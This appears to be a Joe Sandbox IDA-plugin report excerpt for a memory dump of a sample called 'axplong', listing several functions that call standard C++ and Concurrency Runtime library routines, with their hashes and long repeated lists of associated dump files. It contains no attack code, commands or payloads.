Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#i$P#i
API String ID: 2970364248-1653140521
Opcode ID: aeb5153a0bc618e0e50770698f98d97f0113b907ae8bf8fde7c309d41c107ecb
Instruction ID: bbaa0547e3f4033abc1c43e62a7fb0a615c31ef94e11940718a4511c26183fa1
Opcode Fuzzy Hash: aeb5153a0bc618e0e50770698f98d97f0113b907ae8bf8fde7c309d41c107ecb
Instruction Fuzzy Hash: 25717F71E002499FDF04DFA8C891BEDBBBAEF59310F14411DE805AB741D774A984CBA5

Function 00693A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00693B53
__Cnd_destroy_in_situ.LIBCPMT ref: 00693B59
__Mtx_destroy_in_situ.LIBCPMT ref: 00693B62

Strings

pBi, xrefs: 00693AAE

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: pBi
API String ID: 3308344742-1569801529
Opcode ID: ed02d71fb23c14901a57eacbf7c15ed236249852c86bc5474c96c4b7f90f3b92
Instruction ID: 9c1a853d3b41cffbdc12e863b5444b5d8d9400b51c14209310a1dc0e58141f58
Opcode Fuzzy Hash: ed02d71fb23c14901a57eacbf7c15ed236249852c86bc5474c96c4b7f90f3b92
Instruction Fuzzy Hash: 1C31B271600B109FDB249F28C889B66B7EAEF45724F084A5DE956CB791DB34ED00CB90

Function 006C1757 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C17D1
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006C1818

Strings

pContext, xrefs: 006C17C9

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 36f88de8834744ee93efff0a922580cb50570cfd54992e30a76987051deaa7e4
Instruction ID: 49580ed54ab2a7d741c037ead28f5c07fb724fbac6e24bbd8a91e305cc1e6e6d
Opcode Fuzzy Hash: 36f88de8834744ee93efff0a922580cb50570cfd54992e30a76987051deaa7e4
Instruction Fuzzy Hash: 3B21F3367006159BCB14AB68C895FBD73A7FF87324B10011EE5118F2D2CB64EC428A95

Function 006BAD95 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 006BAE1A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BAE3F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 006BAE7E

Strings

pExecutionResource, xrefs: 006BAE37

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: b04fdba14bbbfd3db2fd187fe5ceaeed609f44e7199946e914bfdfadbb86236c
Instruction ID: b57fd192ea7389ab28169163d16cc2df0aa3692ea06a37e50493413f86843c9d
Opcode Fuzzy Hash: b04fdba14bbbfd3db2fd187fe5ceaeed609f44e7199946e914bfdfadbb86236c
Instruction Fuzzy Hash: D621A2B5A40205ABCB48EFA4C882BED77A7BF49300F11401DE5016B782DBB4EE459BA5

Function 006B4DD2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B4E54
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 006B4E96

Strings

count, xrefs: 006B4DEA
ppVirtualProcessorRoots, xrefs: 006B4E4C

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 9a2362e7a87eb55252e1a334f4e04cf140d0f19512788ec593c58249f7450aaf
Instruction ID: 68fe7ba7a30bf8f3a758d60f4b12f7a1a4f3856b2064ba75ee56b28a97d745ec
Opcode Fuzzy Hash: 9a2362e7a87eb55252e1a334f4e04cf140d0f19512788ec593c58249f7450aaf
Instruction Fuzzy Hash: 4D219874600205EFCB54EFA8C892EED77A6BF49300F00406DE5069B692DF32EE42CB95

Function 006B6D4C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 006B6DA3

Part of subcall function 006B4D9E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B4DAF
Part of subcall function 006B4D9E: List.LIBCMT ref: 006B4DB9

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B6DB5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006B6DDA

Strings

eventObject, xrefs: 006B6DAD

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
